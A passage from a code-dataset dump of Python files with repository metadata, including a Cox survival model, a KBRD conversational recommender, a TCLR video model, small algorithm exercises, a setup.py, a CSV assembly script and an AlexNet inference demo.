event_time\n        ], dtype=np.int) # Tied censoring time is considered to be in the risk set.\n        end_index = len(event_time) + len(censoring_time) - 1 - n_censored\n\n        return start_index, end_index\n\n    def compute_loglik_and_gradient(self, beta, loglik_only=False):\n\n        grad = None # defalt return value\n\n        log_rel_hazard, rel_hazard, hazard_sum_over_risk_set \\\n            = self._compute_relative_hazard(beta)\n        if np.any(hazard_sum_over_risk_set == 0.):\n            loglik = - float('inf')\n            return loglik, grad\n\n        loglik = np.sum(\n            log_rel_hazard[:self.n_event] - np.log(hazard_sum_over_risk_set)\n        )\n\n        if not loglik_only:\n            hazard_matrix = self._HazardMultinomialProbMatrix(\n                rel_hazard, hazard_sum_over_risk_set,\n                self.risk_set_start_index, self.risk_set_end_index, self.n_appearance_in_risk_set\n            )\n            v = np.zeros(self.design.shape[0])\n            v[:self.n_event] = 1\n            v -= hazard_matrix.sum_over_events()\n            grad = self.design.Tdot(v)\n\n        return loglik, grad\n\n    def _compute_relative_hazard(self, beta):\n\n        log_rel_hazard = self.design.dot(beta)\n        log_rel_hazard = CoxModel._shift_log_hazard(log_rel_hazard)\n\n        rel_hazard = np.exp(log_rel_hazard)\n\n        hazard_sum_over_risk_set = self._sum_over_start_end(\n            rel_hazard, self.risk_set_start_index, self.risk_set_end_index\n        )\n\n        return log_rel_hazard, rel_hazard, hazard_sum_over_risk_set\n\n    @staticmethod\n    def _sum_over_start_end(arr, start_index, end_index):\n        \"\"\"\n        Returns\n        -------\n        numpy array whose k-th element equals\n            np.sum(arr[start_index[k]:(1 + end_index[k])])\n        \"\"\"\n        sum_from_right = \\\n            np.cumsum(arr[start_index[-1]:])[end_index - start_index[-1]]\n        sum_from_left = np.concatenate((\n            CoxModel.np_reverse_cumsum(arr[:start_index[-1]]), [0]\n        ))\n        total_sum = sum_from_right + sum_from_left\n        return total_sum\n\n    @staticmethod\n    def np_reverse_cumsum(arr):\n        return np.cumsum(arr[::-1])[::-1]\n\n    @staticmethod\n    def _shift_log_hazard(log_hazard_rate, log_offset=0):\n        \"\"\"\n        Shift the values so that the max value equals 'log_offset' to\n        prevent numerical under / over-flow before taking exponential.\n        \"\"\"\n        log_hazard_rate += log_offset - np.max(log_hazard_rate)\n        return log_hazard_rate\n\n    def compute_hessian(self, beta):\n        raise NotImplementedError()\n\n    def get_hessian_matvec_operator(self, beta):\n\n        _, rel_hazard, hazard_sum_over_risk_set \\\n            = self._compute_relative_hazard(beta)\n        if np.any(hazard_sum_over_risk_set == 0.):\n            raise ValueError(\n                'Hessian operator cannot be computed likely due to an '\n                'unreasonable value of regression coefficients. This could '\n                'be caused by the likelihood and prior both being too weak '\n                'or by a poor initialization of the Markov chain.'\n            )\n        W = self._HazardMultinomialProbMatrix(\n            rel_hazard, hazard_sum_over_risk_set,\n            self.risk_set_start_index, self.risk_set_end_index, self.n_appearance_in_risk_set\n        )\n        def hessian_op(beta):\n            X_beta = self.design.dot(beta)\n            result_vec = - self.design.Tdot(\n                W.sum_over_events() * X_beta - W.Tdot(W.dot(X_beta))\n            )\n            return result_vec\n\n        return hessian_op\n\n    @staticmethod\n    def simulate_outcome(X, beta, censoring_frac=.9, seed=None):\n        \"\"\"\n        Simulate an outcome from a constant baseline hazard model i.e. the\n        survival time is exponential.\n        \"\"\"\n        if seed is not None:\n            np.random.seed(seed)\n\n        log_hazard_rate = X.dot(beta)\n        log_hazard_rate = CoxModel._shift_log_hazard(log_hazard_rate)\n        hazard_rate = np.exp(log_hazard_rate)\n        event_time = np.random.exponential(scale=hazard_rate ** -1)\n\n        scale = CoxModel._solve_for_exp_scale(\n            np.quantile(event_time, 1 - censoring_frac), 1 - censoring_frac\n        )\n        censoring_time = np.random.exponential(\n            scale=scale * np.ones(len(hazard_rate))\n        )\n        censoring_time[event_time < censoring_time] = float(\"inf\")\n        event_time[event_time >= censoring_time] = float('inf')\n\n        return event_time, censoring_time\n\n    @staticmethod\n    def _solve_for_exp_scale(t, prob):\n        \"\"\"\n        Computes the scale of an exponential random variable Z such that\n            P(Z < t) == prob\n        \"\"\"\n        return - t / np.log(1 - prob)\n\n    class _HazardMultinomialProbMatrix():\n        \"\"\"\n        Defines operations by a matrix whose each row represents the conditional\n        probabilities of the event happening to the individuals in the risk set.\n        \"\"\"\n\n        def __init__(self, rel_hazard, hazard_sum_over_risk_set,\n                     risk_set_start_index, risk_set_end_index, n_appearance_in_risk_set):\n            self.rel_hazard = rel_hazard\n            self.hazard_sum_over_risk_set = hazard_sum_over_risk_set\n            self.risk_set_start_index = risk_set_start_index\n            self.risk_set_end_index = risk_set_end_index\n            self.n_appearance_in_risk_set = n_appearance_in_risk_set\n            self.n_event = len(hazard_sum_over_risk_set)\n\n\n        def sum_over_events(self):\n            \"\"\"\n            Returns the same value as the row sum of the explicitly computed\n            the matrix (e.g. via the 'compute_matrix' method) but do it more\n            efficiently.\n            \"\"\"\n            normalizer_cumsum = np.cumsum(self.hazard_sum_over_risk_set ** -1)\n            row_sum = normalizer_cumsum[self.n_appearance_in_risk_set - 1] \\\n                      * self.rel_hazard\n            return row_sum\n\n        def dot(self, v):\n            return self.hazard_sum_over_risk_set ** - 1 * CoxModel._sum_over_start_end(\n                self.rel_hazard * v, self.risk_set_start_index, self.risk_set_end_index\n            )\n\n        def Tdot(self, v):\n            partial_inner_prod = np.cumsum(self.hazard_sum_over_risk_set ** -1 * v)\n            return self.rel_hazard \\\n                   * partial_inner_prod[self.n_appearance_in_risk_set - 1]\n\n        def compute_matrix(self):\n            multinomial_prob = np.outer(\n                self.hazard_sum_over_risk_set ** -1,\n                self.rel_hazard\n            )\n            multinomial_prob = np.triu(multinomial_prob)\n            for i in range(1, multinomial_prob.shape[0] + 1):\n                if (self.risk_set_end_index[-i] + 1) >= len(self.rel_hazard):\n                    break\n                multinomial_prob[-i, (self.risk_set_end_index[-i] + 1):] = 0\n\n            return multinomial_prob","repo_name":"OHDSI/bayes-bridge","sub_path":"bayesbridge/model/cox_model.py","file_name":"cox_model.py","file_ext":"py","file_size_in_byte":13286,"program_lang":"python","lang":"en","doc_type":"code","stars":18,"dataset":"github-code","pt":"38"}
{"seq_id":"2659020167","text":"# -*- encoding: utf-8 -*-\n# @Time    :   2020/12/4\n# @Author  :   Xiaolei Wang\n# @email   :   wxl1999@foxmail.com\n\n# UPDATE\n# @Time   : 2020/1/3, 2021/1/4\n# @Author : Xiaolei Wang, Yuanhang Zhou\n# @email  : wxl1999@foxmail.com, sdzyh002@gmail.com\n\nr\"\"\"\nKBRD\n====\nReferences:\n    Chen, Qibin, et al. `\"Towards Knowledge-Based Recommender Dialog System.\"`_ in EMNLP 2019.\n\n.. _`\"Towards Knowledge-Based Recommender Dialog System.\"`:\n   https://www.aclweb.org/anthology/D19-1189/\n\n\"\"\"\n\nimport torch\nimport torch.nn.functional as F\nfrom loguru import logger\nfrom torch import nn\nfrom torch_geometric.nn import RGCNConv\n\nfrom crslab.model.base import BaseModel\nfrom crslab.model.utils.functions import edge_to_pyg_format\nfrom crslab.model.utils.modules.attention import SelfAttentionBatch\nfrom crslab.model.utils.modules.transformer import TransformerDecoder, TransformerEncoder\n\n\nclass KBRDModel(BaseModel):\n    \"\"\"\n\n    Attributes:\n        vocab_size: A integer indicating the vocabulary size.\n        pad_token_idx: A integer indicating the id of padding token.\n        start_token_idx: A integer indicating the id of start token.\n        end_token_idx: A integer indicating the id of end token.\n        token_emb_dim: A integer indicating the dimension of token embedding layer.\n        pretrain_embedding: A string indicating the path of pretrained embedding.\n        n_entity: A integer indicating the number of entities.\n        n_relation: A integer indicating the number of relation in KG.\n        num_bases: A integer indicating the number of bases.\n        kg_emb_dim: A integer indicating the dimension of kg embedding.\n        user_emb_dim: A integer indicating the dimension of user embedding.\n        n_heads: A integer indicating the number of heads.\n        n_layers: A integer indicating the number of layer.\n        ffn_size: A integer indicating the size of ffn hidden.\n        dropout: A float indicating the dropout rate.\n        attention_dropout: A integer indicating the dropout rate of attention layer.\n        relu_dropout: A integer indicating the dropout rate of relu layer.\n        learn_positional_embeddings: A boolean indicating if we learn the positional embedding.\n        embeddings_scale: A boolean indicating if we use the embeddings scale.\n        reduction: A boolean indicating if we use the reduction.\n        n_positions: A integer indicating the number of position.\n        longest_label: A integer indicating the longest length for response generation.\n        user_proj_dim: A integer indicating dim to project for user embedding.\n\n    \"\"\"\n\n    def __init__(self, opt, device, vocab, side_data):\n        \"\"\"\n\n        Args:\n            opt (dict): A dictionary record the hyper parameters.\n            device (torch.device): A variable indicating which device to place the data and model.\n            vocab (dict): A dictionary record the vocabulary information.\n            side_data (dict): A dictionary record the side data.\n\n        \"\"\"\n        self.device = device\n        self.gpu = opt.get(\"gpu\", [-1])\n        # vocab\n        self.pad_token_idx = vocab['pad']\n        self.start_token_idx = vocab['start']\n        self.end_token_idx = vocab['end']\n        self.vocab_size = vocab['vocab_size']\n        self.token_emb_dim = opt.get('token_emb_dim', 300)\n        self.pretrain_embedding = side_data.get('embedding', None)\n        # kg\n        self.n_entity = vocab['n_entity']\n        entity_kg = side_data['entity_kg']\n        self.n_relation = entity_kg['n_relation']\n        self.edge_idx, self.edge_type = edge_to_pyg_format(entity_kg['edge'], 'RGCN')\n        self.edge_idx = self.edge_idx.to(device)\n        self.edge_type = self.edge_type.to(device)\n        self.num_bases = opt.get('num_bases', 8)\n        self.kg_emb_dim = opt.get('kg_emb_dim', 300)\n        self.user_emb_dim = self.kg_emb_dim\n        # transformer\n        self.n_heads = opt.get('n_heads', 2)\n        self.n_layers = opt.get('n_layers', 2)\n        self.ffn_size = opt.get('ffn_size', 300)\n        self.dropout = opt.get('dropout', 0.1)\n        self.attention_dropout = opt.get('attention_dropout', 0.0)\n        self.relu_dropout = opt.get('relu_dropout', 0.1)\n        self.embeddings_scale = opt.get('embedding_scale', True)\n        self.learn_positional_embeddings = opt.get('learn_positional_embeddings', False)\n        self.reduction = opt.get('reduction', False)\n        self.n_positions = opt.get('n_positions', 1024)\n        self.longest_label = opt.get('longest_label', 1)\n        self.user_proj_dim = opt.get('user_proj_dim', 512)\n\n        super(KBRDModel, self).__init__(opt, device)\n\n    def build_model(self, *args, **kwargs):\n        self._build_embedding()\n        self._build_kg_layer()\n        self._build_recommendation_layer()\n        self._build_conversation_layer()\n\n    def _build_embedding(self):\n        if self.pretrain_embedding is not None:\n            self.token_embedding = nn.Embedding.from_pretrained(\n                torch.as_tensor(self.pretrain_embedding, dtype=torch.float), freeze=False,\n                padding_idx=self.pad_token_idx)\n        else:\n            self.token_embedding = nn.Embedding(self.vocab_size, self.token_emb_dim, self.pad_token_idx)\n            nn.init.normal_(self.token_embedding.weight, mean=0, std=self.kg_emb_dim ** -0.5)\n            nn.init.constant_(self.token_embedding.weight[self.pad_token_idx], 0)\n        logger.debug('[Build embedding]')\n\n    def _build_kg_layer(self):\n        self.kg_encoder = RGCNConv(self.n_entity, self.kg_emb_dim, self.n_relation, num_bases=self.num_bases)\n        self.kg_attn = SelfAttentionBatch(self.kg_emb_dim, self.kg_emb_dim)\n        logger.debug('[Build kg layer]')\n\n    def _build_recommendation_layer(self):\n        self.rec_bias = nn.Linear(self.kg_emb_dim, self.n_entity)\n        self.rec_loss = nn.CrossEntropyLoss()\n        logger.debug('[Build recommendation layer]')\n\n    def _build_conversation_layer(self):\n        self.register_buffer('START', torch.tensor([self.start_token_idx], dtype=torch.long))\n        self.dialog_encoder = TransformerEncoder(\n            self.n_heads,\n            self.n_layers,\n            self.token_emb_dim,\n            self.ffn_size,\n            self.vocab_size,\n            self.token_embedding,\n            self.dropout,\n            self.attention_dropout,\n            self.relu_dropout,\n            self.pad_token_idx,\n            self.learn_positional_embeddings,\n            self.embeddings_scale,\n            self.reduction,\n            self.n_positions\n        )\n        self.decoder = TransformerDecoder(\n            self.n_heads,\n            self.n_layers,\n            self.token_emb_dim,\n            self.ffn_size,\n            self.vocab_size,\n            self.token_embedding,\n            self.dropout,\n            self.attention_dropout,\n            self.relu_dropout,\n            self.embeddings_scale,\n            self.learn_positional_embeddings,\n            self.pad_token_idx,\n            self.n_positions\n        )\n        self.user_proj_1 = nn.Linear(self.user_emb_dim, self.user_proj_dim)\n        self.user_proj_2 = nn.Linear(self.user_proj_dim, self.vocab_size)\n        self.conv_loss = nn.CrossEntropyLoss(ignore_index=self.pad_token_idx)\n        logger.debug('[Build conversation layer]')\n\n    def encode_user(self, entity_lists, kg_embedding):\n        user_repr_list = []\n        for entity_list in entity_lists:\n            if entity_list is None:\n                user_repr_list.append(torch.zeros(self.user_emb_dim, device=self.device))\n                continue\n            user_repr = kg_embedding[entity_list]\n            user_repr = self.kg_attn(user_repr)\n            user_repr_list.append(user_repr)\n        return torch.stack(user_repr_list, dim=0)  # (bs, dim)\n\n    def recommend(self, batch, mode):\n        context_entities, item = batch['context_entities'], batch['item']\n        kg_embedding = self.kg_encoder(None, self.edge_idx, self.edge_type)\n        user_embedding = self.encode_user(context_entities, kg_embedding)\n        scores = F.linear(user_embedding, kg_embedding, self.rec_bias.bias)\n        loss = self.rec_loss(scores, item)\n        return loss, scores\n\n    def _starts(self, batch_size):\n        \"\"\"Return bsz start tokens.\"\"\"\n        return self.START.detach().expand(batch_size, 1)\n\n    def decode_forced(self, encoder_states, user_embedding, resp):\n        bsz = resp.size(0)\n        seqlen = resp.size(1)\n        inputs = resp.narrow(1, 0, seqlen - 1)\n        inputs = torch.cat([self._starts(bsz), inputs], 1)\n        latent, _ = self.decoder(inputs, encoder_states)\n        token_logits = F.linear(latent, self.token_embedding.weight)\n        user_logits = self.user_proj_2(torch.relu(self.user_proj_1(user_embedding))).unsqueeze(1)\n        sum_logits = token_logits + user_logits\n        _, preds = sum_logits.max(dim=-1)\n        return sum_logits, preds\n\n    def decode_greedy(self, encoder_states, user_embedding):\n\n        bsz = encoder_states[0].shape[0]\n        xs = self._starts(bsz)\n        incr_state = None\n        logits = []\n        for i in range(self.longest_label):\n            scores, incr_state = self.decoder(xs, encoder_states, incr_state)  # incr_state is always None\n            scores = scores[:, -1:, :]\n            token_logits = F.linear(scores, self.token_embedding.weight)\n            user_logits = self.user_proj_2(torch.relu(self.user_proj_1(user_embedding))).unsqueeze(1)\n            sum_logits = token_logits + user_logits\n            probs, preds = sum_logits.max(dim=-1)\n            logits.append(scores)\n            xs = torch.cat([xs, preds], dim=1)\n            # check if everyone has generated an end token\n            all_finished = ((xs == self.end_token_idx).sum(dim=1) > 0).sum().item() == bsz\n            if all_finished:\n                break\n        logits = torch.cat(logits, 1)\n        return logits, xs\n\n    def decode_beam_search(self, encoder_states, user_embedding, beam=4):\n        bsz = encoder_states[0].shape[0]\n        xs = self._starts(bsz).reshape(1, bsz, -1)  # (batch_size, _)\n        sequences = [[[list(), list(), 1.0]]] * bsz\n        for i in range(self.longest_label):\n            # at beginning there is 1 candidate, when i!=0 there are 4 candidates\n            if i != 0:\n                xs = []\n                for d in range(len(sequences[0])):\n                    for j in range(bsz):\n                        text = sequences[j][d][0]\n                        xs.append(text)\n                xs = torch.stack(xs).reshape(beam, bsz, -1)  # (beam, batch_size, _)\n\n            with torch.no_grad():\n                if i == 1:\n                    user_embedding = user_embedding.repeat(beam, 1)\n                    encoder_states = (encoder_states[0].repeat(beam, 1, 1),\n                                      encoder_states[1].repeat(beam, 1, 1))\n\n                scores, _ = self.decoder(xs.reshape(len(sequences[0]) * bsz, -1), encoder_states)\n                scores = scores[:, -1:, :]\n                token_logits = F.linear(scores, self.token_embedding.weight)\n                user_logits = self.user_proj_2(torch.relu(self.user_proj_1(user_embedding))).unsqueeze(1)\n                sum_logits = token_logits + user_logits\n\n            logits = sum_logits.reshape(len(sequences[0]), bsz, 1, -1)\n            scores = scores.reshape(len(sequences[0]), bsz, 1, -1)\n            logits = torch.nn.functional.softmax(logits)  # turn into probabilities,in case of negative numbers\n            probs, preds = logits.topk(beam, dim=-1)\n            # (candeidate, bs, 1 , beam) during first loop, candidate=1, otherwise candidate=beam\n\n            for j in range(bsz):\n                all_candidates = []\n                for n in range(len(sequences[j])):\n                    for k in range(beam):\n                        prob = sequences[j][n][2]\n                        score = sequences[j][n][1]\n                        if score == []:\n                            score_tmp = scores[n][j][0].unsqueeze(0)\n                        else:\n                            score_tmp = torch.cat((score, scores[n][j][0].unsqueeze(0)), dim=0)\n                        seq_tmp = torch.cat((xs[n][j].reshape(-1), preds[n][j][0][k].reshape(-1)))\n                        candidate = [seq_tmp, score_tmp, prob * probs[n][j][0][k]]\n                        all_candidates.append(candidate)\n                ordered = sorted(all_candidates, key=lambda tup: tup[2], reverse=True)\n                sequences[j] = ordered[:beam]\n\n            # check if everyone has generated an end token\n            all_finished = ((xs == self.end_token_idx).sum(dim=1) > 0).sum().item() == bsz\n            if all_finished:\n                break\n        logits = torch.stack([seq[0][1] for seq in sequences])\n        xs = torch.stack([seq[0][0] for seq in sequences])\n        return logits, xs\n\n    def converse(self, batch, mode):\n        context_tokens, context_entities, response = batch['context_tokens'], batch['context_entities'], batch[\n            'response']\n        kg_embedding = self.kg_encoder(None, self.edge_idx, self.edge_type)\n        user_embedding = self.encode_user(context_entities, kg_embedding)\n        encoder_state = self.dialog_encoder(context_tokens)\n        if mode != 'test':\n            self.longest_label = max(self.longest_label, response.shape[1])\n            logits, preds = self.decode_forced(encoder_state, user_embedding, response)\n            logits = logits.view(-1, logits.shape[-1])\n            labels = response.view(-1)\n            return self.conv_loss(logits, labels), preds\n        else:\n            _, preds = self.decode_greedy(encoder_state, user_embedding)\n            return preds\n\n    def forward(self, batch, mode, stage):\n        if len(self.gpu) >= 2:\n            self.edge_idx = self.edge_idx.cuda(torch.cuda.current_device())\n            self.edge_type = self.edge_type.cuda(torch.cuda.current_device())\n        if stage == \"conv\":\n            return self.converse(batch, mode)\n        if stage == \"rec\":\n            return self.recommend(batch, mode)\n\n    def freeze_parameters(self):\n        freeze_models = [self.kg_encoder, self.kg_attn, self.rec_bias]\n        for model in freeze_models:\n            for p in model.parameters():\n                p.requires_grad = False","repo_name":"RUCAIBox/CRSLab","sub_path":"crslab/model/crs/kbrd/kbrd.py","file_name":"kbrd.py","file_ext":"py","file_size_in_byte":14269,"program_lang":"python","lang":"en","doc_type":"code","stars":447,"dataset":"github-code","pt":"38"}
{"seq_id":"27525681538","text":"class Solution:\n    ''' Given an array nums of n integers, are there elements\n        a, b, c in nums such that a + b + c = 0? Find all\n        unique triplets in the array which gives the sum of zero.\n\n        Note:\n        The solution set must not contain duplicate triplets.\n    '''\n    def threeSum(self, nums: List[int]) -> List[List[int]]:\n\n        n = len(nums)\n        if n < 3:\n            return []\n        if set(nums) == set((0,)):\n            return [[0,0,0]]\n        nmin, nmax = min(nums), max(nums)\n\n        dnums = dict.fromkeys(nums, 0)\n\n        res = {}\n        pairs = {}\n        for i in range(n-1):\n            a = nums[i]\n            for j in range(i+1, n):\n                b = nums[j]\n                s = a+b\n                if s > nmax or s < nmin: continue\n                if -s not in dnums: continue\n                if s not in pairs: pairs[s] = []\n                pairs[s].append((i,j))\n\n        if not pairs:\n            return []\n        res = {}\n\n        for i, num in enumerate(nums):\n            #if not nmin <= num <= nmax: continue\n            target = -num\n            if target in pairs:\n                for ii,jj in pairs[target]:\n                     if i not in (ii,jj):\n                        key = tuple(sorted([nums[ii], nums[jj], num]))\n                        res[key] = True\n\n        return res.keys()\n","repo_name":"nelsonmanohar-umich/codesamples","sub_path":"PYTHON/p0015.py","file_name":"p0015.py","file_ext":"py","file_size_in_byte":1351,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"}
{"seq_id":"28103009332","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Mon Aug 17 15:38:04 2020\r\n\r\n@author: USER\r\n\"\"\"\r\n\r\nmathscore = int(input(\"what is your math score?:\"))\r\nenglishscore = int(input(\"what is your  english score?:\"))\r\n\r\nif mathscore >= 0 and mathscore <=100 and englishscore >= 0 and englishscore <=100:\r\n    if mathscore >=90 and englishscore >=90:\r\n        print(\"you will have a prize\")\r\n    elif mathscore <60 and englishscore <60:\r\n        print(\"you will be punish\")\r\n    elif  mathscore  or englishscore <60:\r\n        print(\"再加油\")\r\nelse:\r\n    print(\"that's wrong\")\r\n    \r\n\r\n\r\n","repo_name":"krito1124/python200817","sub_path":"MATH AND ENGLISH.py","file_name":"MATH AND ENGLISH.py","file_ext":"py","file_size_in_byte":575,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"30979719544","text":"\"\"\"Code for TCLR method.\"\"\"\n\n\nfrom os.path import isfile\n\nimport torch\nimport torch.nn as nn\nimport torchvision.models.video as models\n\nfrom slowfast.models import head_helper\nfrom slowfast.models.r2plus1d import video_resnet\n\n\nclass TCLR(nn.Module):\n    \"\"\"TCLR\"\"\"\n\n    def __init__(self, cfg):\n        \"\"\"\n        The `__init__` method of any subclass should also contain these\n            arguments.\n\n        Args:\n            cfg (CfgNode): model building configs, details are in the\n                comments of the config file.\n        \"\"\"\n        super(TCLR, self).__init__()\n        self.num_pathways = 1\n        self._construct_network(cfg)\n\n    def _construct_network(self, cfg):\n        \"\"\"\n        TCLR network.\n\n        Args:\n            cfg (CfgNode): model building configs, details are in the\n                comments of the config file.\n        \"\"\"\n\n        # define the encoder\n        pretrained = cfg.MODEL.PRETRAINED\n        self.encoder = video_resnet.__dict__[cfg.MODEL.ARCH](pretrained=pretrained)\n        self.encoder.layer4[0].conv1[0] = nn.Conv3d(256, 512, kernel_size=(3, 3, 3),\\\n                                    stride=(1, 2, 2), padding=(2, 1, 1),dilation = (2,1,1), bias=False)\n        self.encoder.layer4[0].downsample[0] = nn.Conv3d(256, 512,\\\n                            kernel_size = (1, 1, 1), stride = (1, 2, 2), bias=False)\n\n\n        self.init_weights_from_checkpoint(cfg.MODEL.CKPT)\n\n        # add K = 2 heads (noun and verb prediction)\n        # temporary hardcoding\n        # this needs (8, 7, 7) pooling instead of (4, 7, 7) due to the change in the last conv layer\n        pool_size=[\n            [8, 7, 7]\n        ]\n\n        # temporary hardcoding\n        self.head = head_helper.ResNetBasicHead(\n            dim_in=[512],\n            num_classes=cfg.MODEL.NUM_CLASSES,\n            pool_size=pool_size,\n            dropout_rate=cfg.MODEL.DROPOUT_RATE,\n        )\n\n    def forward(self, x):\n\n        for pathway in range(self.num_pathways):\n            x[pathway] = self.encoder(x[pathway])\n\n        x = self.head(x)\n        return x\n    \n    def init_weights_from_checkpoint(self, checkpoint_file):\n        \"\"\"Inits weights from given checkpoint.\"\"\"\n        ckpt = torch.load(checkpoint_file, map_location=\"cpu\")\n        csd = ckpt[\"state_dict\"]\n\n        csd_items = csd.items()\n        csd_subset = dict()\n        for layer_name, weights in csd_items:\n            if 'module.1.' in layer_name:\n                continue              \n            elif '1.' == layer_name[:2]:\n                continue\n            if 'module.0.' in layer_name:\n                layer_name = layer_name.replace('module.0.','')\n            if 'module.' in layer_name:\n                layer_name = layer_name.replace('module.','')\n            elif '0.' == layer_name[:2]:\n                layer_name = layer_name[2:]\n            if 'fc' in layer_name:\n                continue\n            csd_subset[layer_name] = weights\n\n        msg = self.encoder.load_state_dict(csd_subset, strict=False)\n\n        print(\":::::::::::::::::::::: Loaded pretrained checkpoint from ::::::::::::::::::::::\")\n        print(f\"Path:\\t {checkpoint_file}\")\n        print(f\"Message:\\t {msg}\")\n\n    def freeze_fn(self, freeze_mode):\n\n        if freeze_mode == 'bn_parameters':\n            print(\"Freezing all BN layers\\' parameters.\")\n            for m in self.modules():\n                if isinstance(m, nn.BatchNorm3d):\n                    # shutdown parameters update in frozen mode\n                    m.weight.requires_grad_(False)\n                    m.bias.requires_grad_(False)\n        elif freeze_mode == 'bn_statistics':\n            print(\"Freezing all BN layers\\' statistics.\")\n            for m in self.modules():\n                if isinstance(m, nn.BatchNorm3d):\n                    # shutdown running statistics update in frozen mode\n                    m.eval()\n\n\nif __name__ == \"__main__\":\n    from tools.run_net import parse_args, load_config\n\n    # load cfg\n    args = parse_args()\n    args.cfg_file = \"../../../configs/EPIC-KITCHENS/TCLR/tclr_32x112x112_R18_K400_LR0.0025.yaml\"\n    cfg = load_config(args)\n\n    # load model\n    model = TCLR(cfg)\n\n    # test with sample inputs\n    x = torch.randn(1, 3, 32, 112, 112)\n    y = model([x])\n\n    assert y[0].shape == (1, 97)\n    assert y[1].shape == (1, 300)\n\n","repo_name":"Malitha123/Model_Eval","sub_path":"Eval_Epic_Kitchens_Dataset/slowfast/models/tclr/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":4320,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"8639051498","text":"# encoding: utf-8\n\"\"\"\n\n\"\"\"\n__author__ = 'Rhys Evans'\n__date__ = '01 Jan 2022'\n__copyright__ = 'Copyright 2018 United Kingdom Research and Innovation'\n__license__ = 'BSD - see LICENSE file in top-level package directory'\n__contact__ = 'rhys.r.evans@stfc.ac.uk'\n\nfrom setuptools import setup, find_namespace_packages\n\nwith open(\"README.md\") as readme_file:\n    _long_description = readme_file.read()\n\nsetup(\n    name='stac_vocab_api',\n    description='stac-vocab-api',\n    author='Richard Smith',\n    url='https://github.com/cedadev/stac-vocab-api/',\n    long_description=_long_description,\n    long_description_content_type='text/markdown',\n    license='BSD - See asset_extractor/LICENSE file for details',\n    packages=find_namespace_packages(),\n    python_requires='>=3.5',\n    package_data={\n        'stac_vocab_api': [\n            'LICENSE'\n        ]\n    },\n    install_requires=[\n        'attrs',\n        'fastapi',\n    ],\n    extras_require={\n        'server': [\"uvicorn[standard]>=0.12.0,<0.14.0\"],\n        'dev': [\n            'pytest',\n            'requests'\n        ]\n    },\n    entry_points={\n    }\n)","repo_name":"cedadev/stac-vocab-api","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1110,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"19358706942","text":"import csv\r\nimport json\r\n\r\n\r\nfileWriteDir = \"tinkersConstructMaterials.csv\"\r\n\r\nfieldNames = [\r\n    \"material\",\r\n    \"level\",\r\n    \"speed\",\r\n    \"damage\",\r\n    \"modifier\",\r\n    \"durability\",\r\n    \"traits\",\r\n    \"part\"\r\n]\r\n\r\n\r\nhandlesFile = open(\"tinkersHandles.json\")\r\nheadFile = open(\"tinkersHead.json\")\r\nextrasFile = open(\"tinkersExtras.json\")\r\n\r\n\r\nhandles = json.load(handlesFile)\r\nhead = json.load(headFile)\r\nextras = json.load(extrasFile)\r\n\r\ndata = {} \r\n\r\ndataPos = 0\r\n\r\n\r\nfor i in extras:\r\n    data[dataPos] = ({k.lower():v for k, v in i.items()})\r\n    data[dataPos][\"part\"] = \"extra\"\r\n    dataPos += 1\r\n\r\nfor i in head:\r\n    data[dataPos] = ({k.lower():v for k, v in i.items()})\r\n    data[dataPos][\"part\"] = \"head\"\r\n    dataPos += 1\r\n\r\nfor i in handles:\r\n    data[dataPos] = ({k.lower():v for k, v in i.items()})\r\n    data[dataPos][\"part\"] = \"handles\"\r\n    dataPos += 1\r\n \r\nhandlesFile.close()\r\nheadFile.close()\r\nextrasFile.close()\r\n\r\n# csv write\r\nwith open(fileWriteDir, 'w', newline = '', encoding = \"utf-8\") as csvfile:\r\n    writer = csv.DictWriter(csvfile, fieldnames = fieldNames)\r\n    writer.writeheader()\r\n    for i in range(len(data)):\r\n        writer.writerow(data[i])\r\n\r\n","repo_name":"alexlipson/tinkers_construct","sub_path":"tinkerConstructAssembly.py","file_name":"tinkerConstructAssembly.py","file_ext":"py","file_size_in_byte":1187,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"7452801852","text":"import sys\ninput = sys.stdin.readline\n\ns = input().strip()\n\ndef flip_string(s):\n    start = s[0]\n    cnt0, cnt1 = 0, 0 # 전부 0으로 바꾸는 경우 & 전부 1로 바꾸는 경우\n    \n    if s[0] == '1': # 전부 0으로 바꾸는 경우 시작부터 +1\n        cnt0 += 1\n    else:\n        cnt1 += 1\n    \n    for i in range(len(s)-1): # 두 번째 원소부터 확인\n        if s[i] != s[i+1]: # 바뀌는 지점\n            if s[i+1] == '1': # 0에서 1로 바뀐다\n                cnt0 += 1 # 최소 1 번은 더 뒤집어야 함\n            else:\n                cnt1 += 1\n    \n    return min(cnt0, cnt1)\nprint(flip_string(s))","repo_name":"myone2e/baekjoon","sub_path":"Code_Test/py/greedy/q3_flip_to_same.py","file_name":"q3_flip_to_same.py","file_ext":"py","file_size_in_byte":636,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"6689479449","text":"import torch\nmodel = torch.hub.load('pytorch/vision:v0.10.0', 'alexnet', pretrained=True)\nmodel.eval()\n\n\nimport urllib\nurl, filename = (\"https://github.com/pytorch/hub/raw/master/images/dog.jpg\", \"dog.jpg\")\ntry: urllib.URLopener().retrieve(url, filename)\nexcept: urllib.request.urlretrieve(url, filename)\n\n\nfrom PIL import Image\nfrom torchvision import transforms\ninput_image = Image.open(filename)\npreprocess = transforms.Compose([\n    transforms.Resize(256),\n    transforms.CenterCrop(224),\n    transforms.ToTensor(),\n    transforms.Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225]),\n])\ninput_tensor = preprocess(input_image)\ninput_batch = input_tensor.unsqueeze(0)\n\nwith torch.no_grad():\n    output = model(input_batch)\n\nprint(output[0])\n\n\nprobabilities = torch.nn.functional.softmax(output[0], dim=0)\nprint(probabilities)\n\nwith open(\"imagenet_classes.txt\", \"r\") as f:\n    categories = [s.strip() for s in f.readlines()]\n# Show top categories per image\ntop5_prob, top5_catid = torch.topk(probabilities, 5)\nfor i in 